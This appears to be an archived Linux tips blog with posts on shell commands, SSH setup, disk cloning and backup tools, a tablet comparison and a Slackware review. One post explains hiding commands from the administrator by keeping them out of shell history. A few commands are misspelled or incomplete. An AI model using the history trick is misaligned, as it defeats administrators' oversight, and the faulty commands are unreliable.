Exploring Linux

Transformer Prime TF700T Vs Galaxy Tab 7.7

2012-01-23T08:47:00.000-08:00

Transformer Prime TF700T Vs Galaxy Tab 7.7

Both the companies are banking big on these devices. Here is a comparison between the two tablet devices set to lead the market in the coming months.

Monday, January 23, 2012: ASUS Transformer Prime TF700T and Samsung Galaxy Tab 7.7 tablets fall in different categories but are being touted as the 'tablet devices of tomorrow'.

ASUS Transformer Prime TF700T will hit the shelves in the coming months. The device will get the advantage of being the successor to the much popular Transformer Prime. It is also being expected that the upcoming version will do away with the shortcomings of Transformer Prime. Being the next generation Ice Cream Sandwich tablet, it is being seen as a technical development from the company's end. The device is likely to be shipped in the second quarter of 2012.

On the other hand, Samsung's device is by far the slimmest tablet device from the electronics maker and is no less in terms of its specs and popularity. Apart from the sleek body, it comes with the legacy of Galaxy Tab line, which in itself is an advantage for the tablet. This offing from Samsung has got some rave reviews from the industry experts. A review of the device done by GSM Arena says, “Not only are we getting a Super AMOLED Plus instead of a regular LCD, we are also treated to a larger screen and higher resolution in a body that hasn’t growtn noticeably. Plus, there’s the latest version of the tablet-friendly Android on board, instead of Gingerbread and the oversized-phone experience that it provides.”

Both the companies are banking big on these devices. Here is a comparison between the two tablet devices, that are set to lead the market in the coming months.

Display: The display of Samsung's new offing, Galaxy Tab 7.7 is its most attractive feature. The 19.6-cm (7.7-inch) device sports a SUPER AMOLED Plus display with 1280 x 800 WXGA pixel resolution at 197 ppi. Samsung likes to call it as the 'premium display' which delivers brilliant colours, better contrast ratio, sharpness and response time that makes viewing clearer and sharper. On the other Transformer Prime TF700T sports a 25.7-cm (10.1-inch) high-definition Super IPS + LCD capacitive display along with Corning’s Gorilla glass and a resolution of 1920 × 1200 pixels. Experts of NVONews opine that this is a better display than any other tablet launched so far in any category.

Processor: Samsung's Galaxy Tab 7.7 is powered by 1.4GHz dual-core processor. The users of this tablet can watch videos, surf the Web and also click images without any fuss because of its better performing processor. ASUS tablet sports Nvidia Tegra 3 quad-core 1.3 GHz Cortex-A9 CPU, ULP GeForce GPU, which is by far the best launched so far.

Memory: The internal memory of both the tablets is identical. They both come with 1GB RAM. Samsung's tablet comes with three on-device storage options; 16GB, 32GB and 64GB. It also features a microSD slot that can support an additional 32GB memory. On the other hand, ASUS tablet comes with storage options of 32/64 GB storage capacity with a microSD card slot, which can provide extra support of up to 32GB.

Operating system: Samsung Galaxy Tab 7.7 runs on Android 3.2 Honeycomb. It is worth mentioning here that Honeycomb is the tablet version of the operating system from Google. The company has promised an upgrade to the Ice Cream Sandwich within a few weeks time. ASUS Transformer Prime TF700T comes with the latest Android 4.0 and the latest Waveshare UI.

Camera: Experts are of the view that ASUS tablet sports the best camera so far in any tablet. It comes with an 8MP camera, which makes it a pioneer among other options in the market. While, Samsung's Galaxy Tab 7.7 comes with a 3MP back camera with Full HD 720p video recording capability, auto-focus and LED flash. It also has a 2MP front camera for video calls in the front panel of the device.

Battery: Samsung Galaxy Tab 7.7 offers a 5,100mAh battery, which is capable of around 10 hours video playback and 50 hours music playback. While, Transformer Prime TF700T is powered by a 25 Wh Li-polymer battery, which gives around 15 hours of back up.

2011-09-21T08:23:00.000-07:00

Hide your commands from the terminal's history

If you dont want your system admin to know what commands you have ran in terminal using history command just execute the command preceded with 'blank space' :

$ ping www.google.com

Note: There is space b/w the '$' and 'ping'.

Now check the history command you will find no entries of the ping command.

2011-09-21T08:12:00.000-07:00

Cracking Ubuntu ROOT user's Password

This is really gonna in a simple way. There are two methods how we can crack the password from the user.

First, of all you have to know this thing that the user u create in Ubuntu, it got super user priveleges to change the password of the root user. So u can just simply try to get in the terminal and type the following command:

# sudo passwd root

after that it will prompt for the password, then type the password and the password is changed. U can now login as a root user.

Second, just click on the Ubuntu system menu on the panel, there u will find the options to get options to add the root terminal. after that u can check it on the Ubuntu menu options and Ur directly on the root user .

2011-09-19T12:15:00.000-07:00

WPA Wireless Networks from Shell

Connecting to WPA networks isn’t the hassle it used to be, it is often very handy to be able to connect without the use of Network Manager. Today I’ll share with you a quick way to get connected to a WPA encrypted network from the shell.

Firstly, make sure you have wpa supplicant installed, it should be on most default installations. Chances are, its already installed if you can or have been able to connect with network manager.

Once you’ve verified it is installed try this one liner (as root):

wpa_passphrase > /etc/wpa_supplicant.conf && `wpa_supplicant | tail -n 1`;

Press Ctrl + Z, then type bg to put it in the background, then you are able to get a DHCP lease with dhclient

dhclient wlan0

What this does is generates the passphrase for your access point and writes it to the file /etc/wpa_supplicant. Once it is written, it then fires up the last line of wpa_supplicant (tail -n 1) which is the example:

wpa_supplicant -Dwext -iwlan0 -c/etc/wpa_supplicant.conf.

Of course, you can run this manually if you wish or run with the -B option to skip the manual backgrounding.

2011-02-02T21:35:00.000-08:00

Installing SSH server in Ubuntu

By default, your system will have no SSH service enabled, which means you won't be able to connect to it remotely using SSH protocol (TCP port 22). This means that installing SSH server will be one of the first post-install steps on your system.
The most common SSH implementation is OpenSSH server, and that's exactly what you want to install.
Log in with your standard username and password, and run the following command to install openssh-server. You should be using the same username that you specified when installing Ubuntu, as it will be the only account with sudo privileges to run commands as root:

ubuntu$ sudo apt-get install openssh-server[sudo] password for greys:
Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
  rssh molly-guard openssh-blacklist openssh-blacklist-extra
The following NEW packages will be installed:
  openssh-server
0 upgraded, 1 newly installed, 0 to remove and 75 not upgraded.
Need to get 285kB of archives.
After this operation, 782kB of additional disk space will be used.
Get:1 http://ie.archive.ubuntu.com jaunty/main openssh-server 1:5.1p1-5ubuntu1 [
285kB]
Fetched 285kB in 0s (345kB/s)
Preconfiguring packages ...
Selecting previously deselected package openssh-server.
(Reading database ... 101998 files and directories currently installed.)
Unpacking openssh-server (from .../openssh-server_1%3a5.1p1-5ubuntu1_i386.deb) .
..
Processing triggers for ufw ...
Processing triggers for man-db ...
Setting up openssh-server (1:5.1p1-5ubuntu1) ...
Creating SSH2 RSA key; this may take some time ...
Creating SSH2 DSA key; this may take some time ...
 * Restarting OpenBSD Secure Shell server sshd                           [ OK ]

Verifying your SSH server works

While you're still on your local desktop session, you can use the ps command to confirm that SSH daemon (sshd) is running:

ubuntu$ ps -aef | grep sshdroot     24114     1  0 15:18 ?        00:00:00 /usr/sbin/sshd

Now that you see it's there, it's time to try connecting:

ubuntu$ ssh localhost

Since this is the first time you're trying to connect using SSH, you'll have to answer yes to the following question:

The authenticity of host 'localhost (::1)' can't be established.
RSA key fingerprint is 18:4d:96:b3:0d:25:00:c8:a1:a3:84:5c:9f:1c:0d:a5.
Are you sure you want to continue connecting (yes/no)? yes

… you'll then be prompted for your own password (remember, the system treats such connection request as if you were connecting remotely, so it can't trust you without confirming your password):
Warning: Permanently added 'localhost' (RSA) to the list of known hosts.

greys@localhost's password:

.. and finally you'll see the usual Ubuntu (Jaunty in this example) banner and prompt:

Linux ubuntu 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:

http://help.ubuntu.com/

Last login: Fri May 15 15:18:34 2009 from ubuntu
ubuntu$

That's it, providing you have your networking configured and you know your IP address or hostname, you can start connecting to your Ubuntu box from remote systems, using the same command.

2010-10-18T11:31:00.000-07:00

STOP YOUR COMPUTER FROM ANSWERING TO PING

Here is is a simple step designed toprevent your computer from responding to ping.

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

After running this, you will not receive a reply if pinged from other computers. To reset the settings and turn the default settings on, simply type the following command:

echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all

2010-10-12T14:10:00.000-07:00

INSTALLING FLASH PLUG-IN

The Flash plugin is simple. All you need to do is download the correct file for your machine, install the file, and then copy libflashplayer.so to your ~/.mozilla/plugins directory. Let’s stick with the rpm-type file.

Download the flash-plugin-XXX.i386.rpm file (Where XXX is the release number) and then issue (as root) the command rpm -ivh flash-plugin-XXX.rpm (again, where XXX is the release number) to install flash-plugin.

As before, you are going to have to locate the correct file in order to copy it to the plugins directory. Issue the command locate libflashplayer.so. You should see this in your results:

/usr/lib/flash-plugin/libflashplayer.so

Change to the ~/.mozilla/plugins directory and run (as root):

cp /usr/lib/flash-plugin/libflashplayer.so /home/USERNAME/.mozilla/pugins (where USERNAME is the actual username).

Now, you need to change ownership of the file so it can be used by a non-root user. Do this with the command (run as root from within the /home/USERNAME/.mozilla/plugins directory — where USERNAME is the actual name of the standard user):

chown USERNAME.USERNAME libflashplayer.so.

Restart Firefox and run the command about:plugins

2010-10-09T08:43:00.000-07:00

Red Hat, Wipro form Strategic Partnership to deliver Open Source Solutions across India

Companies collaborate in building integrated solutions on Red Hat technologies through joint investments in Wipro’s Centre of Excellence

Red Hat (NYSE: RHT), the world's leading provider of open source solutions, and Wipro, a leading Indian IT solutions and services provider, today announced that Wipro has become the first Red Hat Premier Partner in India and the two companies have strengthened their strategic partnership through joint marketing and integration opportunities designed to bring open source solutions to enterprises across the subcontinent.

Both organisations plan to collaborate in building integrated solutions on Red Hat technologies through joint investments in Wipro’s Centre of Excellence in Bangalore. The objective is to build frameworks and platforms which can be readily replicated and customised by architects and developers to create solutions for industry verticals including telecommunications, banking, financial services, insurance, government, defence and utilities industries.

“Wipro has been a Red Hat partner for more than five years and they have developed substantial skill sets across open source technologies,” said Nandu Pradhan, president & managing director, Red Hat India. “With this announcement, Wipro and Red Hat have formed a strategic partnership that will enable Wipro to deliver open source solutions in India.”

The partnership gives customers in India the choice to evaluate, select and use a complete open source solution stack backed by award winning solution and support from Red Hat, with implementation, delivery and support services from Wipro.

2010-10-08T11:37:00.000-07:00

MOUNTING AN ISO IMAGE WITHOUT A DVD DRIVE

Lets suppose you have aDVD image file of a distro and you want to extract a few files from it, but you either do not have a DVD to burn the image or you do not want to waste a blank DVD.

Here's how you can mount an ISO image as a filesystem.

First, make a directory that will be mount point for the ISO image:

# mkdir /iso0

# mount -o loop -t iso9660 /FC@-i386-DVD.iso /iso0

or to mount automatically at boot( premamemt mounting), add the following to "/etc/fstab".

/FC2-i386-DVD.iso /iso0 iso9660 rw,loop 0 0

2010-10-08T11:29:00.000-07:00

INSTALL & USE YOUR OWN JDK ON LINUX

We know that all distros give us JDK in the installation media. If you want to install your own JDK and use it,here is one trick that i hope will help you.
Set the PATH environment variable.

If your installed JDK is on the /home/xyz/JDK directory and you want to enable it, follow the steps given below.

Log in as the root user on the shell prompt and type the following command:

export PATH=/home/xyz/JDK/bin:$PATH

Put this command in the /etc/bashrc file and restart your terminal.

2010-10-06T11:19:00.000-07:00

FINDING THE SIZE OF A CURRENT FOLDER OR SUB-FOLDER

To find the size of a current folder, type the following code:

du -sh

To find the size of all sub-folders and files in the current folder, type in:

du * -sh

here s stands for "summarise"
h stands for "human readable format"

2010-10-06T11:13:00.000-07:00

VIEW THE CONTENTS OF A FILE INSIDE A ZIP ARCHIVE

To view the contents of a ZIP archive without extracting it into the local file system, use the following command:

unzip -p

For Example, the command given below will print out the contents of a test.txt into the console.

test.txt file is a file inside the test.zip archive.

unzip -p test.zip test.txt

2010-10-06T11:07:00.000-07:00

VIEW INFORMATION ABOUT THE MOTHERBOARD AND CPU

To view the information regarding your hardware, use the following command:

sudo dmicode | more

dmicode's purpose is to report "information regarding your system's hardware as described in your BIOS according to the MBIOS?DMI standard."

2010-07-05T03:35:00.000-07:00

Glaxo Tries a Linux Approach

Drug Maker Shares Its Research Data Online in Test of Open-Source Principles

By ROBERT A. GUTH

A decade ago, the Linux operating system helped spark a revolution in how software is developed. A move by GlaxoSmithKline PLC could test how well similar open-source principles work for developing new drugs.

The pharmaceutical giant last week opened to the public the designs behind 13,500 chemical compounds that it said may be capable of inhibiting the parasite that causes malaria.

Glaxo and others hope that sharing information and working together will lead scientists to come up with a drug for treating the mosquito-borne disease faster than the company could on its own. Other researchers "may look at these structures in quite a different way and see something that we don't," said Nick Cammack, head of Glaxo's Medicines Development Campus in Spain.

View Full Image

GlaxoSmithKline

Two government websites and one private site will host Glaxo's data. Above, containers used by Glaxo researchers to test the effect that chemical compounds have on the malaria parasite.

The move is one of the largest experiments yet by the pharmaceutical industry to apply techniques of open-source development to drug discovery, based on the idea that collaboration by volunteers will create products that aren't owned by a single company.

In software, the approach has spawned the Linux operating system, MySQL database and an array of other programs. Those community-born technologies now compete with products from Microsoft Corp., Oracle Corp. and other traditional, commercial software makers. Open-source developers share programming instructions called source code that software companies traditionally kept confidential.

Similarly, large pharmaceutical companies tightly guard their formulas for drugs and other intellectual property. Any given chemical compound holds the potential to be a blockbuster drug—and a cash cow, like Microsoft's Windows software. But diseases like malaria afflict mainly poor populations, and drugs to treat them don't hold the promise for such a big payoff—making experiments like Glaxo's less risky.

The Glaxo effort builds off earlier open-source drug efforts that included a nonprofit organization called Tropical Disease Initiative and a project started last year that opens compounds from Pfizer Inc. to researchers at a nonprofit called Drugs for Neglected Disease Initiative.

The Glaxo data will be hosted by three websites, two of which are government-funded (one in the U.S. and one in Europe). The third is a Silicon Valley company called Collaborative Drug Discovery Inc. CDD, as it is called, was spun off in 2004 from drug maker Eli Lilly & Co. and has funding from the Bill & Melinda Gates Foundation and Founders Fund, a venture-capital firm.

CDD's Web service combines elements of a Facebook-like social network with an Oracle-style database. Any researcher who registers on the CDD site will be able to see graphical depictions of Glaxo's compounds and relevant chemical and biological data. The database will allow them to upload their own data to be viewed by other researchers.

The service is free of charge. If a researcher wants to combine the data with proprietary information, CDD alsooffers a fee-based, secure version of its site that allows researchers to lock up information they want to keep secret.

Developing a new drug is a trial-and-error process of testing which chemical compounds produce a certain effect on a biological target. In the case of malaria, the target can be the Plasmodium parasite that causes the deadly disease or human red-blood cells that it needs to survive. Over the past year, Glaxo has tested two million compounds, culling the 13,500 molecules that it says have some effect. However, narrowing down the compounds to a handful that might yield a drug is an increasingly complex process.Any compound that proves promising in the current effort will take years of testing and investment to turn it into a malaria drug.

Glaxo says that it won't seek patents on any malaria drug that the compounds yield, and hopes other researchers will also donate their intellectual property to a patent pool for so-called neglected diseases like malaria. If the Glaxo compounds are used to develop a drug for other types of diseases, then the company "would consider" the intellectual-property issues, a Glaxo spokeswoman said.

Researchers including James McKerrow, a professor at the University of California, San Francisco, have used CDD since 2007 to share data about diseases including malaria and schistosomiasis, a parasite that can cause liver and kidney damage. The group shared data on tens of thousands of compounds to speed up the process of picking a handful of compounds (for diseases such as malaria) that are the best options to try on animals, Dr. McKerrow said.

Barry Bunin, CDD's chief executive, believes that the work on neglected diseases is a precursor for big pharmaceutical companies to eventually use the open-source techniques for developing commercial drugs.

Some drug experts doubt that will happen. The reasons include the nettlesome problem of managing intellectual property and various uncertainties. Any given compound, for example, could wind up affecting more diseases than expected and turn out to be more valuable than expected. Glaxo, for instance, found that drugs that inhibited growth of the parasite that causes malaria were of a type that is also marketed to treat cancer.

"I think that's a potentially interesting model but I don't think for-profit institutions would participate," says Brendan O'Leary, general partner at Prism Venture Management, a venture-capital firm that invests in life-sciences companies.

Yet Glaxo'sMr. Cammack doesn't rule it out. He hopes the open-source work will influence Glaxo more broadly in the future, particularly given the challenges big pharmaceuticalcompanies face in launching new drugs. "The pharmaceutical industry needs to look at lots of ways of doing business in the future," he said.

2010-07-02T00:32:00.000-07:00

RUN X APPLICATIONS FROM A TERMINAL WINDOW

1. Open a terminal window from your desktop.

2. Type

echo $DISPLAY

The result should be like this :0. This indicates that the terminal window will, by default, direct any X application you run from this window to display 0 on your system.(If you don't see a value when you type that command, type export Display=:0 to set the display value)

3. Type the following command:

xpaint&

The xpaint command should appear on your desktop, ready for you to work with.

4. If you want to know what options are available, type:

xpaint -?

5.Try with a few options . For example, if you want to begin b editing an image, you could type:

xpaint /usr/share/icons/redhat.rpm &

6. When you are ready to close the window, you can either do so from xpaint window or you can kill the process in terminal window. Type jobs to see the job number of the process.

2010-06-01T01:42:00.000-07:00

Play With Your Hard Disk Partitions

Let’s face it—hard disk-related activities can never be simple, especially when that disk has data on it. In this article, we’ll take a look at some of the tools that can make these activities easier.

A partitioning tool

There have been many operating systems and live CDs that provide partitioning utilities. Often, they turn out to be either proprietary or not able to support all filesystems used for Linux, Solaris, etc. But GParted is one such important partitioning utility that supports many filesystems and comes with a friendly user interface.
GParted (Figure 1) stands for ‘GNOME partition editor’. With it, you can create, modify and delete partitions. Although you can definitely install it on any distribution and run it, I wouldn’t recommend running it on a booted OS as problems might occur with certain mounted partitions. A better solution is to run GParted from a live CD.

Figure 1: The GParted application

GParted itself comes on a separate live CD; boot it and double click on the GParted icon from the UI presented. It is also a part of a live CD called System Rescue CD. To run GParted from here, first start X by issuing the startx command, and then open the GParted application from the X terminal. It can also be run from a bootable USB drive or via a PXE boot.
Once GParted is run, you can use it for the following operations:

To create a new partition table (by erasing the old one, if one exists). Use this option very carefully. Unlike other operations, Undo is not supported for this.
A new partition can be created from unallocated/free space. Decide on new partitions as primary, extended or logical, as required.
To delete an existing partition.
To resize/move existing partitions (Figure 2). Sizes can be increased only when free space is available on any adjacent side.
To change flags/labels of a partition.
To format a partition to any supported filesystem—ext3, reiserfs, etc.
To check filesystems for errors.
To view partition information.

Figure 2: Resize and move a partition

All requested operations are added to the pending queue, which is performed in sequence upon clicking the Apply option.
The following filesystems are supported by GParted presently: btrfs, crypt-luks, ext2, ext3, ext4, fat16, fat32, hfs, hfs+,jfs, lvm2 pv, ntfs, reiser4, reiserfs, swap, ufs and xfs.

Disk cloning

g4u is a disk cloning software. It is helpful in larger organisations like educational institutes where there are several machines of identical configuration. Every system may need multiple operating systems along with some updates and customisation. Repeating these for every system is a tedious task. So cloning is a good technique to avoid such problems by copying many disks from one fully prepared one. Also, when one or more operating systems crash on one system, it can be recovered quickly by copying the OS from an identical system.
This software has a few advantages over other cloning utilities. One is that it’s free. Second, it is independent of partitions, filesystems and operating systems that exist on a disk, as cloning is performed block by block. The only requirement is that the target disk should be larger than the original disk.
g4u comes as live media, in the form of two bootable floppies or a bootable CD. As of today, the latest stable version of g4u is 2.3.
Disk cloning can be done in two ways — locally, by connecting two or more disks to a system at a time, and remotely, where the image of the original disk is stored on an FTP server, which is used for other disks to be copied using FTP.
So, to perform disk cloning, connect two or more disks for the local copy, or one disk and the network set up if you plan to use FTP, and run g4u from a live CD or bootable floppies. A terminal will be presented to use the following commands:

disks lists all connected disks, and specifies identifiers for each. IDE hard disks are identified by wd0, wd1, etc, whereas SATA disks are identified by sd0, sd1, etc. Here, wd0/sd0 represents the first/primary hard disk.
parts lists the available partitions in a specified disk. For example, parts wd0 lists partitions of disks identified by wd0. See Figure 3.
copydisk copies all data from disk1 to disk2, block wise (Figure 4). For example, copydisk wd0 wd1.
copypart copies a partition from one disk to a partition on another disk. For example, copypart wd0e wd1f, copies the second partition of disk1 to the third partition of disk2. (Here the letters d, e, f, etc, in no way concern the drive letters of any OS. g4u assigns a character for each partition, starting from d for the first partition.)
uploaddisk stores the image of the whole disk on an FTP server:
```
uploaddisk ftp-address imagename disk-id
```
…where ftp-address is the IP address of the FTP server. By default, the FTP account named ‘install’ is used. Use account@ftp-address for any other account. disk-id is the identifier of the hard disk (for example, wd0, wd1, sd0, sd1, etc) whose image needs to be uploaded. It is optional. The absence of disk-id implies taking the image of the first hard disk, which is identified by rwd0d. Also, by default, gzip-9 compression is used while saving images with a typical extension like .gz. To use lower levels of gzip compressions (higher levels of compression take a longer time to back up/restore) use the following:
```
GZIP=1 uploaddisk ftp-address imagename disk-id
```
uploadpart stores the image of a particular partition on the FTP server:
```
uploadpart ftp-address imagename disk+part
```
slurpdisk restores a disk from the FTP image:
```
slurpdisk ftp-address imagename
```
slurppart restores a partition from the FTP image:
```
slurppart ftp-address imagename disk+part
```

Figure 3: Output of the parts command

Figure 4: Disk cloning in progress

It is preferable to run g4u in a DHCP-enabled network if FTP transactions are planned. If DHCP is not available, the network needs to be set up manually.

partimage for back up/restore

Consider the following scenario. You have installed a Linux distribution that comes with minimal packages. Additional packages have been installed from the Internet using a package manager. So, patiently, you’ve updated and customised the OS according to your needs. Now your friend does not have an Internet connection and needs all these additional packages on his system. Or, all of a sudden, the OS has crashed, and you don’t have enough time or resources to repeat all the steps. Under the circumstances, back up your partitions every time you update your system—this back-up can be shared with any other system or used to restore the OS when it crashes.
partimage helps you with these kinds of back-ups. It can be installed on many distros via package managers or, preferably, you can run it off a live CD. It is a part of the System Rescue CD.
Here’s how you back up a partition:

Run the partimage command from a terminal.
Select partitions for which a back-up needs to be taken.
Specify the image name along with a suitable path. Another partition/removable disk has to be mounted in order to store the image in it. (In case of single partitions, or if none of the additional partitions have enough free space, you can use NFS- and Samba-shared mounts to save images on a remote computer.)
Opt for ‘Save partition…’ and go to the next screen (short cut: F5).
In the next screen, select the compression level, split mode and finish with other default options (Figure 5). Split mode (auto) means that when a volume in which the image is being stored is full, the image is split into multiple parts. Otherwise, fixed size parts can also be created for the convenience of storing on CDs/DVDs.
You’ll be prompted to give a description of the image for later use, and one more confirmation screen before copying starts.
The copying process will start now. Options are available to cancel, pause and resume the operation.
A confirmation screen appears after the completion of the process.

Figure 5: Options to save the partion

The following are the steps for restoring a partition:

Run partimage and choose the partition that needs to be restored.
Give a path to the image (from a mounted partition/removable disk).
Opt for ‘Restore Partition…’ and go to the next screen (shortcut: F5).
Opt for defaults and hit ‘Continue’ (F5).
Now, the image description should appear, which is given at the time of backup, and one more confirmation screen before restore starts. Figure 6 shows a typical restoration in progress.
A confirmation screen appears after completion of the process.

Figure 6: Restore in progress

Note: When restoring an image, the size of the partition that’s being restored should be greater or equal to the size of the original partition on which the backup is taken. However, the target partition is accessible up to the size of the original partition only, in case it is larger. Even though the image size is smaller with only used blocks, the target partition can’t be smaller than the original one.
Tip: When an image is created for a partition holding the MBR, only MBR can be restored to the system from that image at a later time, by choosing the option “Restore an MBR…” from the initial screen (refer to Figure 7).

Figure 7: Initial screen of partimage

Some machines may come with a single partition or not enough space on any of the existing partitions. One solution that was mentioned earlier is to use NFS/Samba to store images on a remote machine. Another simple solution is to use the partimage-server. A remote machine running partimage-server can be used to store images whose IP address and port can be specified during backup/restore of a partition.
Install partimage-server on any distribution and run it using the command partimaged. By default, images are stored in /var/lib/partimaged/. You can use the -d or --dest options to specify any other directory to store images on the server. Similarly, you can change the default port number 4025 with the -p or --port option.
In order to connect to partimage-server during back-up/restore operations, simply opt for ‘Connect to Server’ in the initial screen (refer to Figure 5) and enter the IP address of the server and the encryption mode. Also change the port number to connect to if the server is using a port other than the default one.

System Rescue CD

A good utility that combines many of the tools discussed here in one CD is the System Rescue CD distro. It comes with many additional utilities like:

An SSH server to allow other systems to log in remotely and copy files
Filesystem checkers, scanners, mount and view contents of other partitions
mkfs to create a new filesystem and sfdisk to set up partitions
parted and GParted for partition manipulation
Firefox/Dillo for instant browsing
PXE server capability

Figure 8: System Rescue CD

Tips and tricks

To set up a network manually on any live CD, use the following code:
```
ifconfig eth0 192.168.1.1
ifconfig eth0 up
```
Use a different device number other than eth0, if required. On the System Rescue CD you can use the net-setup eth0 command instead.
While running g4u, make sure of your disk IDs by running the parts command first. For example, if the original disk is detected as wd1, and the second one as wd0, running copydisk wd0 wd1 will mean losing all your data in the original disk. Or a safer method is erasing all partitions in the target disk before cloning, by using GParted or any similar utility. Now parts on the target disk will not show any partitions, whereas on the original disk, partitions will be listed.
In the System Rescue CD, if your partimage is already running, go to another virtual console (using Ctrl+Alt+F2, Ctrl+Alt+F3, etc) for mounting, checking image paths, etc. Use Ctrl+Alt+F1 to come back to the first console.
Don’t try to save an image in the same partition you’re backing up.
As Linux distros are compatible with many configurations, cloned disks or partitions work fine in systems with different configurations also— with the exception of one or two features. For example, an image taken for a Linux distro on a Core 2 Duo system works well with PIII or AMD machines also, only requiring you to tweak /etc/X11/xorg.conf according to new display settings, if you have a problem with starting the GUI.

References

2010-06-01T01:31:00.000-07:00

Slackware 13: Is it Really Worthy of the 21st Century?

Slackware is old. No really, it’s OLD! If you’re used to the likes of Ubuntu or any of the other modern GNU/Linux systems, setting up Slackware would seem like you’re back in the early 90s.

Some will argue that Ubuntu and the rest that try to make life easier for desktop users don’t give that fine-grained control over the way you set up your system. Why should a distro try to make choices on your behalf? By configuring your system from the bottom up, you’d ultimately learn the internals.
Does it help? Yes, it does. Immensely! Does everyone have the time and inclination? NO!
Whatever said and done, the majority of those who use computers want to get on with their work—most don’t have the time to peek into the innards of an OS. So, if you belong to this category, you’re probably better off without Slackware.
However, Slackware 13 has one surprise in its bag—the desktop somehow looks pretty modern, and works out-of-the-box. Yes, KDE4 has finally infected the conservative Slackware developer(s). Pat Volkerding writes in the release notes, “I’m using it on all my own machines (including an Intel Atom with compositing enabled), and I’ve really fallen in love with it once I got used to it. The tools are integrated better with the desktop, Qt4 seems to be a faster and more stable platform, and nearly everything that was available for KDE3 has been ported to KDE4 and works great.”
Now, Pat doesn’t put anything inside Slackware unless and until he’s completely satisfied with the piece of code. He’ll still make you use LiLo instead of Grub, by default! So, all this praise coming from him could only mean how impressive KDE4 is and what lies ahead in the coming years.

Installation and configuration

I think the first Slackware version I had tried was 9.1—that was in 2003. As far as I can remember, things pretty much look the same, even today. It’s the same old ncurses-based wizard that’s fool-proof and stable.
Anyway, for the uninitiated, I’ll try to walk you through the Slackware path. After booting the CD, you’re prompted on whether you wish to use a US English keymap (for your keyboard) or not. We Indians do, so simply hit Enter. This brings you to the login screen.
Log in as the root, and type setup to start the installation. Note that if you need to configure your partitions, the installer won’t offer you anything. So, do your partitioning tid-bits using the cfdisk utility and then proceed with setup.
This will bring you to an ncurses-based menu. Read what the Help option offers if you like, or jump straight to the addswap option. Follow the instructions from there on, and you should be up and running.
A few things I noticed:

Now that the kernel version is upped to 2.6.29, Slackware offers ext4 as the default filesystem. Of course, other choices like ext3, XFS, JFS, etc, are still available.
It’s better if you choose the recommended package installation sections. Although this will install everything available in the DVD, it won’t bug you with all those prompts.
The package installation on my C2D 1.6GHz HP 550 laptop with 1GB of RAM took only 15 minutes. Considering that the total install size is more than 4 GB, that’s pretty fast.

General configuration and desktop

Slackware still boots you to init level 3—that is the command line interface with networking enabled. You need to start X with either startx or by launching the display manager—for example, kdm. This setting is nice if I were to run a server on it, but I’d rather have the desktop show up by default. So, it’s time to open /etc/inittab and set the default runlevel to 4—yes, it’s not 5, like other distros.
You’ll also need to set up a normal user account, manually. Unfortunately, that was not a part of the installer’s job. Anyway, run the following command to create one:

useradd -m slacky

Replace slacky with whatever user name you prefer.
Logging into the KDE4 desktop made me realise that Slackware has finally bought into the idea of desktop effects—KWin effects work out-of-the-box if your VGA supports 3D. It could also be because Slackware has a strict policy of not customising the defaults offered by upstream software projects and here KDE offers desktop effects by default.
Apart from that, the desktop is plain—with only a panel at the bottom, and no extra icons (nor Folder View) on the desktop. Although Slackware has the Intel Wi-Fi drivers for my wireless Ethernet card, it offers no NetworkManager for seamless wireless access point switching. In fact, you’d need to edit files manually or use command line tools like ifconfig and iwconfig to set up the network.
For a while, I searched online to find a Slackware NetworkManager package, but unfortunately, none of the third-party Slackware software repos (like linuxpackages.net or slacky.eu) had any software available for version 13 as I write this. Hopefully, things would have changed by the time you install it.
Anyway, the /extras/ section of the DVD has a GTK tool called Wicd, which is a drop-in replacement for NetworkManager. While we’re on the subject of GTK tools, they all look ugly due to the absence of the gtk-qt theme engines.
Firing up Wicd gave me a permission-denied error message. The good thing is that the error message also gave a tip on how to fix it. And while we’re on the subject of error messages, here’re a couple more:

KMix doesn’t load because the user doesn’t have rights to the sound device.
Clicking on an unmounted volume in Dolphin displays error messages.

So, I fired up Konsole to fix things. Adding your user name against the following group names in /etc/group fixes the aforementioned issues:

audio – this fixes the sound issue.
video – although video worked, I still added my user name here for the heck of it.
cdrom – looked like this solved the CD/DVD mounting issue—though I’m not sure.
plugdev – this was to enable the user to mount other volumes (which probably includes optical discs as well; so maybe adding the user name to the cdrom group wasn’t required).
netdev – well, this fixed the issue with Wicd permissions.

After saving the file with the changes, and a reboot, Wicd and KMix started as soon as I logged in to KDE, and now I could also mount volumes (hard disk partitions and media devices) using Dolphin. What a relief!

Apps and tools

Finally, coming to productivity and entertainment applications, there’re a lot—more than what I needed, at least. And because I went for a full installation, I had more choices for each category of tasks than I’d consider healthy. Anyway, various audio and video file formats worked just fine—even in default KDE apps like JuK and Dragon Player. Yes, there’s Amarok and MPlayer (as well as Xine UI) for power users—I missed SMPlayer though. Only thing you’d have to do manually is get the Flash Player from Adobe, Gnash, or elsewhere.
Talk about an office productivity suite and this is where Slackware is a BIG let down. It only offers KOffice version 2, instead of OpenOffice.org 3. I’d like to report here that I never really had issues with the earlier versions of KOffice. But ever since version 2 is out, I find its font rendering capabilities absolutely pathetic—the characters/alphabets look ‘fat’ with a reddish tinge on black fonts.
Anyway, the good thing is that the accompanying LFY CD has OpenOffice.org 3.1, and you can install it by following this guide.
It works like a charm, but the OOo application icons in the menu and run dialogue boxes will be missing. And since UK and US dictionaries don’t get installed—you can make use of the OOo Extension Manager (utility located under the Tools menu) to find and install them.
Thankfully, the version of Firefox is 3.5, and I also have Ktorrent, Kget and other assorted Internet apps that I require. The GIMP is also available; however, DigiKam is missing.
Well, that basically completes my requirement factors. If you care about programming languages, server-type software, games et al, updated versions of most are available when you go for the default installation. There’s even the XFCE desktop for those who like GTKish stuff—sorry, no GNOME here.
As for bugs, the only one I came across was that sometimes, after logging in, pressing Alt+F2 launched the XFCE run dialogue instead of KRunner. A re-login solved this issue. I have no clue why this happens, but it’s pretty annoying.

At the end of the day…

I think Slackware scores because of its stability and a lower dependency on memory compared to the rest of the distros. However, it requires plenty of manual configurations before one can be productive. If you can get along fine with that, I guess you won’t have much to worry about.

